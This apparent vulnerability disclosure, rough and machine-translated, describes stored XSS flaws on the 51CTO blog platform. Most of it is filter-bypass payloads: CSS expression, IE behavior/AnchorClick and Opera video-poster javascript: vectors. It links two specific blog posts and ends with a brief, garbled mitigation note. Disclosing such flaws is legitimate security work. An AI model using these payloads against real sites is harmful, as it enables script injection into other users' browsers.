51CTO blog stores XSS in multiple places, various bypass skills

1. Replace the expression in the style with the fullwidth character only for the xss that is valid for IE6. <Div style = "x: expression (alert (1)"> IE6 </div> 2, IE6-IE8, IE9 compatible mode valid xss, insert the following code, when you click test, the xss is triggered. <A style = "behavior: url (# default # AnchorClick);" folder = "javascript: alert (1)"> test </a> 3, only later versions of Opera will trigger <video body = "" poster = "javascript: alert (1) //" tabindex = "0"> </video> insert code. 4. Cross-style http://3407504.blog.51cto.com/3397504/1059235 http://3407504.blog.51cto.com/3397504/1090792
Solution: 1. Conversion character encoding. 2. behavior limit? Add _ blank after the code.